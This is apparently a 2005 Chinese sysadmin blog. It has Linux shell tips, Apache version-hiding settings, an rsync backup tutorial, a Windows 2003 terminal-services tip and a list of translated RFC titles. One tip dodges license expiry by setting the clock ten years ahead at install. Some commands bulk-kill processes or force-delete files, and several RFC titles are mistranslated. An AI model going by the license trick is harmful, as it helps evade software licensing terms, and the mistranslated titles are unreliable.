    iptables -t nat -A POSTROUTING -o ppp0 -s 192.168.20.0/24 -j MASQUERADE

    动态链接库 gcc编译选项:-shared
    安装:install -d 目录名和,install 源目的
    另,选项 -m 三或四位数字表示的权限
    静态库:ar及,ar -s或ranlib
    显示.o或.so中等目标文件中的symbols:nm

    保存手册到文本文件- -
    如果将man直接重定向到文件,会有格式字符(?)
    replace "..." below to suit your need.
    man ...|col -b>...
    将info指定内容及其子内容存入文件:
    replace "..." below to what you need to info and the file name for output.
    info ... --subnodes -o ...

    杀相似进程
    to kill some processes with alike names automatically. replace "..." below to suit your need. Be cautious!
    kill `ps -A|grep ...|awk '{print $1}'`

    在子目录中搜索文本
    查找当前目录及子目录下所有含指定字符的指定类型文件,显示文件名、行号,换色显示所查找字符:
    grep -r --include=正则表达式 -n -C 2 --color=always "字符串" *
    -C 2 表示前后多显示2行
    如果想忽略大小写可加 -i
    如果想按词查找可加 -w
    正则表达式如:*.[ch]则所有后缀名为c或h的文件

    删除子目录下所有同类文件
    find yourdir -type f -iname "*.html" -exec rm -f {} \;

    所有文件名大写变小写
    for f in *; do
    mv "$f" "`echo $f | tr '[A-Z]' '[a-z]' `"
    done

    计算子目录下文件个数
    find . -type f|wc -l
    计算子目录下目录个数
    find . -type d|wc -l

    把目录一及子目录中符合条件的文件(find 目录一 -type f|grep "string"的效果)"不动相对位置"的复制到目录二
    cd 目录一; find . |grep ....|cpio -pd 目录二

    更友好地显示文件列表
    详情显示所有文件+目录(无子目录),自动选择大小的单位。参数都啥意思我也忘了
    ls -ABhlp
    以日期排序显示:
    ls -ltr
    or
    ls -lt

    只列出目录名,不显示文件名 ls, but only dirs
    for i in `ls`; do if [ -d $i ]; then printf "%s\t" $i; fi done;
    printf "\n"

    包括子目录查找含有某文本的所有文件 to search a string including subdir
    grep -r -n -C 2 "" *
    or
    grep -r --include=*.* -n -C 2 "" *

    the last param cannot used to specify a type of files in subdir.

    详细统计目录的文件大小(写成脚本可以加参数 --help)
    du $1 --max-depth=1 | sort -n|awk '{printf "%7.2fM ----> %s\n",$1/1024,$2}'|sed 's:/.*/\([^/]\{1,\}\)$:\1:g'

    禁止apache显示版本
    改动apache的配置文件,找到ServerTokens和ServerSignature两个directive,修改默认属性:
    如下
    # and compiled in modules.
    #
    # ServerTokens
    # This directive configures what you return as the Server HTTP response
    # Header. The default is 'Full' which sends information about the OS-Type
    # and compiled in modules.
    # Set to one of: Full | OS | Minor | Minimal | Major | Prod
    # where Full conveys the most information, and Prod the least.
    #
    #ServerTokens Full
    ServerTokens Prod
    #
    # Optionally add a line containing the server version and virtual host
    # name to server-generated pages (internal error documents, FTP directory
    # listings, mod_status and mod_info output etc., but not CGI generated
    # documents or custom error documents).
    # Set to "EMail" to also include a mailto: link to the ServerAdmin.
    # Set to one of: On | Off | EMail
    #
    #ServerSignature On
    ServerSignature Off

    注:本文引用地址:http://WWW.VFOCUS.NET/BLOG/mt-tb.cgi/9。请尊重原创,如有转载请注明出处。

    Posted by vitter at 2005-07-25 10:10:18 | 评论 (2) | 引用

    July 19, 2005

    解决Windows 2003终端服务许可证过期的问题

    使用终端服务无非就是要远程控制服务器。而在windows2003里面,其实直接用远程桌面就可以实现了。
    具体操作:
    1、如果你服务器上已经开着终端服务,那就在添加删除程序里删除终端服务和终端授权服务,注意,删除服务后不要重启,否则等一下就连不上服务器了。
    2、我的电脑--右键属性--远程---远程桌面,打勾,应用。
    3、重启服务器。。。好了。。再也不会提示过期了。。
    其实非常简单的方法,很多人却因为这个去重装系统或者修改系统时间,还有些人只能使用PCAYNWHERE。
    如果,新装系统的时候把系统时间调后10年,装完再调回来,就10年证书不过期。

    Posted by vitter at 2005-07-19 20:25:14 | 评论 (0) | 引用

    July 06, 2005

    使用rsync从linux到linux或到windows对网站进行镜像备份

    使用rsync从linux到linux或到windows对网站进行镜像备份

    BY:vitter (Vitter@safechina.net)
    Our Web:http://www.safechina.net
    My Web:http://www.vfocus.net
    My Blog:http://blog.vfocus.net

    rsync是Linux系统下的数据镜像备份工具,从软件的命名上就可以看出来了——remote sync。rsync支持大多数的类Unix系统,无论是Linux、Solaris还是BSD上都经过了良好的测试。rsync的最新版本可以从http://rsync.samba.org/rsync/获得。它的特性如下:
    1、可以镜像保存整个目录树和文件系统。
    2、可以很容易做到保持原来文件的权限、时间、软硬链接等等。
    3、无须特殊权限即可安装。
    4、优化的流程,文件传输效率高。
    5、可以使用rcp、ssh等方式来传输文件,当然也可以通过直接的socket连接。
    本文介绍了如何使用rsync服务从Linux到Windows和linux进行远程备份

    一、配置服务器端

    软件下载
    rysnc的主页地址为:http://rsync.samba.org/,可以从这里下载rysn的安装软件。

    编译安装
    rsync的编译安装非常简单,只需要以下简单的几步(在两台服务器中都要安装):

    $ tar xvf rsync-2.6.5.tgz
    $ cd rsync-2.6.5
    $ ./configure
    $ make
    $ make install

    但是需要注意的是必须在主服务器和同步服务器上都安装rsync,其中主服务器上是以服务器模式运行rsync,而同步上则以客户端方式运行rsync。这样在主服务器上运行rsyn守护进程,在同步上用crond定时运行客户程序来同步主服务器上需要同步的内容。

    配置rsync服务器端

    对于rsync服务器来说,最重要和复杂的就是它的配置了。rsync服务器的配置文件为/etc/rsyncd.conf,其控制认证、访问、日志记录等等。该文件是由一个或多个模块结构组成。一个模块定义以方括弧中的模块名开始,直到下一个模块定义开始或者文件结束,模块中包含格式为name=value的参数定义。每个模块其实就对应需要备份的一个目录树,比方说在我们的实例环境中,有三个目录树需要备份:/www/和/mirror/file0/和/mirror/file1/目录,那么就需要在配置文件中定义三个模块,分别对应三个目录树。配置文件是行为单位的,也就是每个新行都表示一个新的注释、模块定义或者参数赋值。


    例如,在168上创建rsyncd的配置文件/etc/rsyncd.conf,内容如下:

    uid = nobody # 备份以什么身份进行,用户ID
    gid = nobody # 备份以什么身份进行,组ID
    #注意这个用户ID和组ID,如果要方便的话,可以设置成root,这样rsync几乎就可
    #以读取任何文件和目录了,但是也带来安全隐患。建议设置成只能读取你要备
    #份的目录和文件即可。

    #use chroot = no
    max connections = 0 # 最大连接数没有限制
    pid file = /var/log/rsync/rsyncd.pid
    lock file = /var/log/rsync/rsync.lock
    log file = /var/log/rsync/rsyncd.log

    [attachment] # 指定认证的备份模块名
    path = /www/htdocs/pub/attachment/ # 需要备份的目录
    comment = BACKUP attachment # 注释
    ignore errors # 忽略一些无关的IO错误
    read only = false # 设置为非只读
    list = false # 不允许列文件
    #hosts allow = 210.51.0.80 #允许连接服务器的主机IP地址
    #hosts deny = 0.0.0.0/0.0.0.0 #禁止连接服务器的主机IP地址
    auth users = msyn # 认证的用户名,如果没有这行,则表明是匿名
    secrets file = /etc/rsyncd.scrt # 认证文件名,用来存放密码

    [98htdocs]
    uid = nobody
    gid = nobody

    path = /www/htdocs/
    #ignore errors
    read only = false
    list = false
    #hosts allow = 210.51.0.98
    #hosts deny = 202.108.211.38
    #hosts deny = 0.0.0.0/0.0.0.0
    auth users = msyn
    secrets file = /etc/rsyncd.scrt

    [98html]
    uid = ejbftp
    gid = nobody
    path = /www/htdocs/pub/html/
    #ignore errors
    read only = false
    list = false
    #hosts allow = 210.51.0.98
    #hosts deny = 0.0.0.0/0.0.0.0
    auth users = 98syn
    secrets file = /etc/rsync98.scrt

    这里分别定义了[attachment]、[98htdocs]、[98html]三个模块,分别对应于三个需要备份的目树。三个模块授权的备份用户分别为msyn,msyn,98syn,用户信息保存在文件/etc/rsyncd.scrt和/etc/rsync98.scrt中,其内容如下:

    [root@www /etc]# cat /etc/rsyncd.scrt
    msyn:xxxxxxxxx

    并且该文件只能是root用户可读写的,注意,出于安全目的,这个文件的属性必需是只有属主可读,否则rsync将拒绝运行。我们可以设置它的属性为600:

    [root@www /etc]# chmod 600 /etc/rsyncd.scrt

    [root@www /etc]# mkdir /var/log/rsync

    这些文件配置完毕以后,就需要在主服务器上启动rsyncd服务:

    [root@www /etc]# /usr/local/bin/rsync --daemon


    执行完毕上面的命令后,rsync即可启动。rsync默认服务端口为873,服务器在该端口接收客户的匿名或者认证方式的备份请求。

    二、配置客户端

    1、linux下执行rsync客户端命令

    下一步就要运行rsync客户端的启动命令了:

    [backup@backup /] /usr/bin/rsync -vlzrtogp --progress --delete 98syn@x.x.x.168::98html /usr/local/apache/htdocs/pub/html/ --password-file=/etc/rsync98.scrt

    上面这个命令行中-vzrtopg里的v是代表verbose(详细),z是代表zip(压缩),r是代表recursive(递归),topg都是保持文件原有属性如属主、时间的参数。--progress是指显示出详细的进度情况,--delete是指如果服务器端删除了这一文件,那么客户端也相应把文件删除,保持真正的一致。
    98syn@x.x.x.168::98html 是表示该命令是对服务器x.x.x.168中的98html模块进行备份,其中98syn表示使用98syn用户来对该模块进行备份。--password-file=/etc/rsync98.scrt来指定密码文件,这样就可以在脚本中使用而无需交互式地输入验证密码了,这里需要注意的是这份密码文件权限属性要设得只有执行这个命令的当前用户可读,本例中是98syn用户。 这里将备份的内容存放在备份机的/usr/local/apache/htdocs/pub/html/目录下。

    这样,rsync同步服务就搭建好了,最后我们可以将在客户端执行的命令通过crontab定时执行来实现自动备份,或者写一些脚本,这样rsync同步服务的搭建就更加完美了。

    2、Windows配置客户端

    为了在Windows环境使用rsync工具,我们需要去下载cwRsync工具,这是一个rsync for windows的版本。
    下载安装完成之后的目录结构类似下图所示:

    cwRsyncmain.png

    现在我们可以在Windows环境下运行rsync工具了,举例使用下面的命令连接服务器并开始备份目录和文件:
    rsync -vzrtopg --progress --delete 98syn@xx.xx.xx.xx::98html .\bak\
    应该可以看到:
    password:

    要求输入密码的提示,正确输入密码后就应该看到开始备份了。当然,也有可能出现类似下面的错误信息:

    cwRsyncerror.png

    引起这种错误有几种可能性,一是你没有输入正确的用户名或密码,二是你的服务器端存储密码的文件没有正确的权限,也就是你的密码文件不是类似这样子的权限:
    -rw------- 1 root root

    在备份完成之后,我们可以看到类似下图所示的状态:

    cwRsync.png

    可以采用从文件读取密码的方式:
    rsync -vzrtopg --progress --delete 98syn@xx.xx.xx.xx::98html .\bak\ --password-file=.\rsync98.scrt
    可以写成批处理,做到windows计划任务里面去,可以定时执行来实现自动备份。

    你也可以在这里下载cwRsync-1.2.8版:cwRsync_1.2.8_Installer.exe

    注:本文引用地址:http://WWW.VFOCUS.NET/BLOG/mt-tb.cgi/6。请尊重原创,如有转载请注明出处。

    Posted by vitter at 2005-07-06 13:48:06 | 评论 (1) | 引用

    June 17, 2005

    RFC文档目录

    RFC1 主机软件
    RFC2 主机软件 

    RFC3 文档规范 
    RFC4 网络时间表
    RFC6 与 Bob Kahn 会话
    RFC10 文档规 范
    RFC13 零文本长度的EOF信息
    RFC16 M.I.T 
    RFC18 IMP-IMP和主机-主机控制联接 
    RFC19_可用来降低有限交换节点阻塞的两条协议性的建议
    RFC20_用于网络交换的 ASCII 格式
    RFC21 网络会议
    RFC22 主机-主机控制信息格式
    RFC23_多重传送的调节信息
    RFC24 文档规范 
    RFC25 不使用高的连接号
    RFC27 文档规范 
    RFC28 时间标准
    RFC29 响应 RFC 28 
    RFC30 文档规范
    RFC32 关于SRI所提议的实时时钟的一些想法
    RFC34 关于ARC时钟的一些初步记录摘要
    RFC35 网络会议 
    RFC36 协议注解 
    RFC37 网络会议结尾等
    RFC38 NWG/RFC #36 网络协议的注解
    RFC40 关于未来协议的更多注解
    RFC41 IMP-IMP 通讯信息
    RFC42 信息数据类型 
    RFC43 被提议的会议 
    RFC45 关于未来协议的更多注解
    RFC53 官方协议机构
    RFC58 逻辑信息同步 
    RFC60 简单的 NCP 协议
    RFC63 迟来的网络会议报告
    RFC66 NIC - 第三级别的想法和其它噪音
    RFC69 提议改变 主机/IMP 规范来消除标记
    RFC71 输入错误后的再分配
    RFC72 建议改变网络协议延期执行
    RFC73 响应 NWG/RFC 67
    RFC75 网络会议
    RFC78 NCP状态报告:UCSB/RAND 
    RFC79 圆木协议错误
    RFC81 涉及信息的请求
    RFC84 NWG/RFC的1-80列表
    RFC85 网络工作组会议
    RFC90 CCN 作为一种网络服务中心
    RFC99 网络会议



    RFC101 对1971年2月17日伊利诺斯州的Urbana的网络工作组会议的注释
    RFC102 主机-主机 协议故障清除委员会的说明
    RFC103 中断键的执行
    RFC104 连接 191
    RFC105 通过 UCSB 进行远程登录和远程输出返回的网络说明书
    RFC106 用户/服务器 站点协议的网络主机问卷
    RFC107 主机-主机 协议故障清除委员会的说明
    RFC108 1971年2月17-19日在 Urbana 举行的 NWG 会议的人员列表
    RFC124 在 RFC 107 中有印刷错误
    RFC132 RFC 107 的排版错误
    RFC148 RFC 123 的注释
    RFC149 最好的铺设计划
    RFC154 风格显示
    RFC156 伊利诺斯州站点的状态: 响应 RFC 116 
    RFC179 连接的数字分配
    RFC185 NIC 分发手册
    RFC188 数据管理会议公告
    RFC198 站点证明-林肯实验室 360/67 

    RFC204_利用报路
    RFC218 改变 IMP 状态报告设备
    RFC228 澄清
    RFC232 网络图形会议延缓
    RFC245 预定网络工作组会议
    RFC246 网络图形会议
    RFC256 IMPSYS 变更通知
    RFC276 NIC过程
    RFC285 网络图形
    RFC324 RJE 协议会议

    RFC335 新界面 - IMP/360
    RFC348_放弃过程
    RFC404 文件迁移协议的注释

    RFC405 给 TIP 用户的第二封信
    RFC456 UCSB 的数据重置服务 
    RFC457_FTP 的服务器与服务器交互

    RFC496 IMP/TIP 内存更新时间表(修订版 2)
    RFC516 丢失消息的检测 
    RFC591 在 NVT ASCII UCSB和在线系统之间的实验输入映象 
    RFC621 “注意圣诞节的时候要把长袜挂在烟囱下面”  
    RFC628 更深的数据语言的设计观念
    RFC634 最近的网络图
    RFC637 SU-DSL网络地址的更改 
    RFC677 双重数据库的维护 
    RFC692 对于IMP/HOST 协议的改动的注释 (RFCS 687 AND 690)

    RFC697_FTP的CWD命令
    RFC698_Telnet扩展ASCII选项



    RFC763 角色邮箱 
    RFC775_面向目录的 FTP 命令
    RFC779_Telnet发送-位置选项
    RFC792_Internet 控制信息协议
    RFC797 位图文件格式 
    RFC821_简单邮件传输协议

    RFC826_以太网地址转换协议或转换网络协议地址
    RFC827_Exterior 网关 协议 (EGP)
    RFC854_Telnet协议说明书
    RFC855_Telnet选项说明书

    RFC856_Telnet二进制传输
    RFC857_Telnet回声选项
    RFC858_Telnet抑制前进选项
    RFC859_Telnet状态选项
    RFC860_Telnet定时标记选项
    RFC861_Telnet扩展选项列表选项
    RFC862_回声协议
    RFC863 废除协议 
    RFC864 字符产生协议
    RFC865 白天协议的引用 
    RFC866 激活用户
    RFC867 白天协议

    RFC868_时间协议
    RFC872_局域网上的TCP协议
    RFC877_IP 数据包通过公共数据网络的传输标准
    RFC888_STUB Exterior Gateway Protocol
    RFC890_外部网关协议执行表
    RFC894_IP 数据包通过以太网网络传输标准
    RFC895_IP 数据包通过试验性以太网网络的传输标准
    RFC896_在IPTCP internet网络中的拥塞控制

    RFC903_反向地址转换协议
    RFC911 BERKELEY UNIX 4.2下的EGP网关
     
    RFC917_因特网子网
    RFC918 邮局协议

    RFC925_多局域网地址解决
    RFC930_Telnet终端类型选项
    RFC932_子网地址分配方案
    RFC937_邮局协议( 版本 2)
    RFC948_IP 数据包通过IEEE 802.3 网络传输的两种方法
    RFC949_FTP 未公开的独特命令
    RFC951_引导协议(BOOTP)
    RFC955_朝向一个处理过程应用的传输服务

    RFC962_TCP-4 的最初
    RFC968 “这是开动前的黑暗” 
    RFC974_邮件路由与域名系统
    RFC975_自治联邦
    RFC976 UUCP 邮件互换格式标准 
    RFC985 Internet 网关要求 - 起草
    RFC988 主机扩展用于IP多点传送


    RFC1050_RPC远程步骤呼叫协议说明书
    RFC1055_在串行线路上传输IP数据报的非标准协议
    RFC1057_RPC远程步骤呼叫协议说明书版本 2
    RFC1073_Telnet窗口大小选项
    RFC1075_远距离矢量多播选路协议
    RFC1088_IP 数据包传输通过NetBIOS网络的标准
    RFC1090_SMTP在X.25
    RFC1091_TelnetTELNET终端类型选项
    RFC1094_NFS网络文件系统协议说明书
    RFC1096_Telnet X 显示定位选项
    RFC1097_Telnet潜意识-信息选项
    RFC1112_主机扩展用于IP多点传送
    RFC1113_Internet电子邮件秘密增强第一部分- 信息加密和身份验证步骤
    RFC1131_OSPF规范
    RFC1132_802.2分组在IPX网络上传输的标准
    RFC1134_+PPP协议:关于在点到点链路上进行多协议包传送的建议

    RFC1142 OSI IS-IS 域内路由协议
    RFC1144_低速串行链路上的TCPIP头部压缩
    RFC1145 SNMPv2的管理模型
    RFC1155_基于TCPIP网络的管理结构和标记
    RFC1166_Internet数字
    RFC1180_TCPIP指南
    RFC1191_路径MTU探索
    RFC1215_为使用SNMP定义Trap的惯例
    RFC1239_试验管理系统库(MIB)到标准管理系统库(MIB)的重分配
    RFC1242 基准术语用于网络互连设备
    RFC1258 BSD 的远程登录 

    RFC1287_未来的Internet 体系结构
    RFC1288_Finger用户信息协议
    RFC1298_基于IPX协议的SNMP

    RFC1321_MD5 信息-摘要算
    RFC1332_PPP Internet 协议控制协议 (IPCP)
    RFC1333_PPP 链接质量监控

    RFC1355_网络中心数据库的保密和准确性问题
    RFC1365 一种IP地址扩展提议 
    RFC1370_OSPF适用范围声明
    RFC1387_RIP(版本2)协议分析
    RFC1388_RIP协议版本2
    RFC1393 Traceroute使用IP选项
     
    RFC1397_在边界网关协议(Border Gateway Protocol)版本2
    RFC1408_Telnet环境选项
    RFC1413_鉴定协议
    RFC1414_身份识别管理系统库(MIB)

    RFC1418_SNMP优于OSI
    RFC1420_SNMP优于IPX
    RFC1426_SMTP服务扩展用于8bit-多用途网际邮件扩充协议(MIME)传输
    RFC1428_Internet邮件从Just-Send-8到8bit-SMTPMIME的转换
    RFC1433 直接ARP 

    RFC1445_简单网络管理协议(SNMPv2)版本 2的管理模式
    RFC1454_下一代IP提议的比较
    RFC1461 通过X.25多协议互连SNMP管理系统库(MIB)扩展 
    RFC1469_通过令牌-环局域网的IP多点传送
    RFC1483_通过ATM适应层5的多协议封装



    RFC1558_LDAP研究过滤器的字符串表达
    RFC1571_Telnet环境选项互用性问题
    RFC1590_媒体类型注册过程
    RFC1591_域名系统的结构和授权
    RFC1597_私有Internet的地址分配
    RFC1605_SONET to Sonnet翻译
    RFC1606_用IP版本9的历史观
    RFC1611_DNS服务器MIB扩展
    RFC1612_DNS解析器MIB扩展
    RFC1618_ISDN上的PPP(点对点)协议

    RFC1628 UPS 管理信息基础 
    RFC1633_Internet 体系结构中的综合服务概述
    RFC1635_怎样使用匿名FTP
    RFC1636 IAB工厂关于在Internet体系结构的安全报告 -2月8-10号, 1994 

    RFC1643 以太网-类似界面类型的管理对象的定义 
    RFC1658 字符流设备使用SMIv2管理对象的定义 
    RFC1661_点对点协议(PPP)

    RFC1671 向IPng 过渡和其他考虑的白皮书 
    RFC1690 Internet工程与计划组(IEPG)介绍
    RFC1691 康奈尔大学数字图书馆文档体系结构
    RFC1696 用SMIv2定义的调制解调器MIB 
    RFC1713_DNS调试工具
    RFC1715_地址分配效率比率H
    RFC1723_路由信息协议(版本2)
    RFC1724_RIP 版本 2 管理系统库(MIB) 扩展
    RFC1738_统一资源定位器(URL)
    RFC1752_推荐IP下一代协议
    RFC1769_简单网络时间协议(SNTP)
    RFC1771_边界网关协议版本4(BGP-4)
    RFC1776_地址是信息
    RFC1777_轻量级目录访问协议
    RFC1787_在多供应Internet上的软件路由
    RFC1796_不是所有RFCs是标准
    RFC1797_A级子网实验

    RFC1810_报告MD5性能
    RFC1818_最好最新的实践

    RFC1822 使用具备Photuris技术的指定IBM专利的权利的授予
    RFC1823_LDAP 应用程序界面
    RFC1827_IP 密码安全有效载荷 (ESP)
    RFC1828_使用键控MD5进行IP鉴别
    RFC1860_IPv4变量长度子网表

    RFC1867 HTML中基于表单的文件上传
    RFC1869 SMTP服务扩展
    RFC1878 变量长度子网表格用于IPv4 
    RFC1881 IPv6 地址分配管理
    RFC1883 Internet协议,版本6(IPv6)说明书
    RFC1886 DNS扩展支持IP版本6 
    RFC1901 基于社区的SNMPv2介绍 
    RFC1904 简单网络管理协议(SNMPv2)版本 2的一致声明 
    RFC1918 个人Internets的地址分配
    RFC1928 SOCKS V5的用户名/密码鉴定
    RFC1930 自治系统(AS)创建,选择,和注册的指导方针
    RFC1939 邮局办公协议-版本3
    RFC1942 HTML表格
    RFC1945 超文本传输协议--HTTP/1.0
    RFC1956 在MIL域中注册 
    RFC1957 邮局协议(POP3)执行的一些观察
    RFC1962 PPP压缩控制协议 (CCP)
    RFC1977 PPP BSD 压缩协议
    RFC1979 PPP压缩协议
    RFC1981 IP 版本 6的路径MTU探索
    RFC1982 序列号算法
    RFC1988 有条件地授予权利给特殊的HP专利于连接Internet工程特遣队的Internet-标准网络管理框架中
    RFC1993 PPP G和alf FZA 压缩 协议
    RFC1994 PPP挑战握手身份验证协议 (CHAP)
    RFC1997 BGP 组属性
    RFC1998 BGP 社区属性在多本地路由中的应用

      


    RFC2002 IP移动性支持 
    RFC2003 在IP内封装IP 
    RFC2004 IP最小封装
    RFC2005 IP移动性的适用性陈述
    RFC2011 SNMPv2 管理信息基础用于Internet 协议使用SMIv2 
    RFC2012 SNMPv2 管理信息基础 用于传输控制协议使用SMIv2 
    RFC2013 有关采用SMIv2用户数据报协议的SNMPv2管理信息数据库
    RFC2015 多用途网际邮件扩充协议(MIME)安全具有相当好的保密性(PGP) 
    RFC2021 远程网络监控管理信息基础 版本 2使用SMIv2 
    RFC2025 简单公共密钥GSS-API机制(SPKM)
    RFC2040 RC5, RC5-CBC, RC5-CBC-Pad,和 RC5-CTS算法
    RFC2042 注册新BGP属性类型
    RFC2046 多用途Internet邮件扩展(多用途网际邮件扩充协议(MIME))第二部分:媒体类型 
    RFC2053 AM (美国)域 
    RFC2078 通用安全服务应用接口(GSS-API) V2 
    RFC2079 X.500 属性类型和对象类别去掌握统一资源定位器(URIs)的定义
    RFC2085 具有重放预防的HMAC-MD5 IP 身份验证 
    RFC2088 IMAP4非同步字符 
    RFC2095 简单挑战/回应的IMAP/POP授权扩展
    RFC2096 IP面向表格管理系统库(MIB)
    RFC2101 IPv4 今天地址行为 
    RFC2104 HMAC:键入-散列法用于信息身份验证
    RFC2105 CCisco 系统的标签交换体系结构纵览
    RFC2113 IP路由器警告选项
    RFC2118 微软点对点压缩(MPPC)协议 
    RFC2119 关键字用于使用在RFCs指出要求水平
    RFC2128 拨号控制MIB(SMIv2)
    RFC2144 CAST-128 加密算法 
    RFC2147 TCP和UDP通过IPv6 Jumbograms 
    RFC2198 多余音频数据的RTP有效载荷
    RFC2208 资源预留协议(RSVP)——版本1 适用性声明 关于配置的一些指导
    RFC2212 有保证的质量服务说明书 
    RFC2213 综合服务管理信息基础使用SMI版本2
    RFC2217 TelnetCom端口控制选项
    RFC2221 IMAP4 登陆参考
    RFC2228 FTP 安全扩展
    RFC2234 语法说明书的扩充BNF:ABNF 
    RFC2236 Internet组管理协议,版本2
    RFC2241 Novell目录服务的DHCP选项
    RFC2245 匿名SASL机制 
    RFC2260 可升级支持用于多目录多供应者的连通
    RFC2279 UTF-8,ISO 10646的一种转换格式
    RFC2281 Cisco热备份路由协议(HSRP)
    RFC2283 BGP-4的多协议扩展 
    RFC2284 PPP可扩展认证协议
    RFC2289 一种一次性密码系统
    RFC2296 HTTP 远程变量选择算法--RVSA/1.0 
    RFC2313 PKCS#1:RSA加密 版本1.5
    RFC2330 IP 执行规则的管理
    RFC2343 应用于捆绑的MPEG的RTP有效载荷的格式
    RFC2344 移动IP反向隧道
    RFC2349 TFTP 休息间隔和传输大小选项 
    RFC2367 PF_KEY键管理 API,版本 2
    RFC2372 处理Internet协议(TIP)-要求和补充信息
    RFC2373 IPv6寻址体系结构
    RFC2374 IPv6 可集聚全球单播地址格式
    RFC2379 RSVP通过ATM执行的指导方针
    RFC2384 POP URL 方案 
    RFC2393 IP有效载荷压缩协议(IPComp)
    RFC2394 IP有效载荷压缩使用DEFLATE 
    RFC2401 Internet 协议的安全体系结构
    RFC2403 在ESP和AH中使用HMAC-MD5-96
    RFC2404 在ESP和AH中使用HMAC-SHA-1-96 
    RFC2406 IP 封装安全有效载荷 (ESP) 
    RFC2407 Internet IP 用于解释ISAKMP的安全域 
    RFC2408 Internet 安全关联和键管理协议 (ISAKMP) 
    RFC2409 Internet密钥交换(IKE)
    RFC2410 NULL加密算法及其在IPsec协议中的应用 
    RFC2411 IP安全文件指南 
    RFC2412 OAKLEY 键决定协议
    RFC2413 Dublin核心元数据用于资源发掘
    RFC2435 针对JPEG压缩视频的RTP荷载格式 
    RFC2449 POP3 扩展机制 
    RFC2451 ESP CBC-模式密码算法
    RFC2459 Internet X.509 公钥基础设施:证书和CRL简介
    RFC2460 Internet协议,版本6(IPv6)说明书
    RFC2463 针对因特网协议第六版(Ipv6)的因特网控制报文协议(ICMPv6)规范 
    RFC2466 IP 版本6 管理信息基础:ICMPv6组
    RFC2471 IPv6检测地址分配 
    RFC2474 IPv4与IPv6包头中差分服务字段(DS Field)的定义 
    RFC2475 分类业务的体系结构
    RFC2492 IPv6 通过ATM网络 
    RFC2495 有关 DS1,E1,DS2,E2接口类型的管理部件的定义



    RFC2508 低速串行链路下IP/UDP/RTP数据包头的压缩
    RFC2511 Internet X.509认证请求消息格式 
    RFC2516 在以太网上传输PPP的方法(PPPoE)
    RFC2526 IPv6保留的子网任意传送地址 
    RFC2541 DNS 安全操作考虑 
    RFC2547 BGP/MPLS VPNs 
    RFC2554 SMTP服务认证扩展 
    RFC2560 x.509因特网公钥基础设施在线证书状态协议——OCSP 
    RFC2570 标准互联网络管理框架第三版介绍
    RFC2577 FTP 安全考虑 
    RFC2581 TCP拥塞控制 
    RFC2582 TCP的快速恢复算法NewReno修正 
    RFC2585 Internet X.509 公共键底部结构操作协议: FTP和HTTP
    RFC2597 确定的面向PHB组
    RFC2598 面向加速PHB 
    RFC2618 RADIUS 身份验证客户端管理系统库(MIB) 
    RFC2629 用XML 写I-Ds 和 RFC文档
    RFC2633 S/多用途网际邮件扩充协议(MIME) 版本 3 信息说明书
    RFC2644 更改直接广播在路由器上的缺省值
    RFC2669 DOCSIS 电缆设备管理系统库(MIB) 电缆设备管理信息基础用于DOCSIS 适应性电缆调制解调器和电缆调制解调器中断系统 
    RFC2670 音频频率(RF)界面管理信息基础用于MCNS/DOCSIS适应性RF界面 
    RFC2685 虚拟专用网标志符 
    RFC2702 基于MPLS的流量工程要求
    RFC2706 ECML v1:电子商务字段名
    RFC2713 LDAP(轻型目录存取协议)目录中JAVATM对象的表征模式
    RFC2714 LDAP(轻型目录存取协议)目录中的CORBA对象参考方案
    RFC2731 Dublin核心元数据在HTML上的编码 
    RFC2732 文本IPv6地址在URL上的格式 
    RFC2733 RTP有效载荷格式用于普通正向错误更正
    RFC2736 RTP有效载荷格式说明书作者的指导方针
    RFC2754 RPS IANA的发布
    RFC2756 超文本缓存协议(HTCP/0.0)
    RFC2764 IP VPN的框架体系
    RFC2773 使用KEA和SKIPJACK加密 
    RFC2774 HTTP 扩展框架 
    RFC2781 UTF-16,ISO 10646的一种编码
    RFC2784 通用路由封装(GRE)
    RFC2788 网络服务监视MIB 
    RFC2793 用于文本交谈的RTP负载 
    RFC2796 BGP路由映象 
    RFC2809 通过RADIUS的L2TP强制通道的执行
    RFC2810 Internet 延迟交谈:体系结构 
    RFC2811 Internet延迟交谈:通道管理 
    RFC2813 Internet 延迟交谈:服务器协议
    RFC2817 在HTTP/1.1中升级到TLS 
    RFC2818 TLS之上的HTTP 
    RFC2824 呼叫过程语言框架和要求
    RFC2825 复杂网络:I18N的发布,域名,和其它Internet协议 
    RFC2829 LDAP的身份验证方法
    RFC2830 轻量级目录访问协议(v3): 传输层安全扩展
    RFC2833 用于DTMF数字信号、电话音和电话信号的RTP负载格式 
    RFC2854 text/html 媒体类型 
    RFC2855 IEEE 1394的DHCP 
    RFC2861 TCP 拥塞窗口检验
    RFC2862 用于实时指针的RTP负载格式 
    RFC2866 RADIUS(远程用户拨号认证系统)记帐协议 
    RFC2867 RADIUS 账目管理修改用于通道协议支持 
    RFC2868 RADIUS 属性用于协议支持
    RFC2869 RADIUS 扩展 
    RFC2871 一个IP电话路由框架 
    RFC2873 在Ipv4优先域中的TCP过程 
    RFC2874 支持IPv6地址集合和重编号的DNS 扩展 
    RFC2882 网络访问服务要求: 扩展范围实践
    RFC2887 可靠的多点传送设计空间用于大的数据传送
    RFC2889 基准方法论用于局域网交换设备 
    RFC2890 GRE中Key和SequenceNumber扩展
    RFC2893 IPv6 主机和软件路由器转换机制 
    RFC2898 PKCS #5: 基于密码的密码系统说明书 版本 2.0. B 
    RFC2906 AAA 授权要求 
    RFC2914 拥塞控制原理 
    RFC2917 核心 MPLS IP VPN 体系结构 
    RFC2918 BGP-4(边界网关协议)的路由刷新功能
    RFC2920 SMTP 针对命令流水线的服务扩展 
    RFC2923 TCP的路径MTU发现问题 
    RFC2932 IPv4 多点传送路由管理系统库(MIB)
    RFC2935 Internet开放贸易协议(IOTP)HTTP 补充 
    RFC2939 新DHCP选项和信息类型的定义步骤和IANA指导方针 
    RFC2945 SRP身份验证和键交换系统 
    RFC2946 Telnet 数据加密选项
    RFC2947 Telnet加密:DES3 64位密码回馈
    RFC2948 Telnet加密:DES3 64位输出回馈
    RFC2949 Telnet加密:CAST-128 64比特输出回馈 
    RFC2950 Telnet加密:CAST-128 64比特密码回馈 
    RFC2951 使用KEA和SKIPJACK进行TELNET身份验证 
    RFC2952 Telnet加密:DES 64位密码回馈
    RFC2953 Telnet加密:DES 64比特输出回馈
    RFC2957 The 应用/whoispp-请求目录-类型
    RFC2958 The 应用/whoispp-回答目录-类型
    RFC2959 实时传输协议管理信息库
    RFC2964 超文本传输协议(HTTP)状态管理的应用 
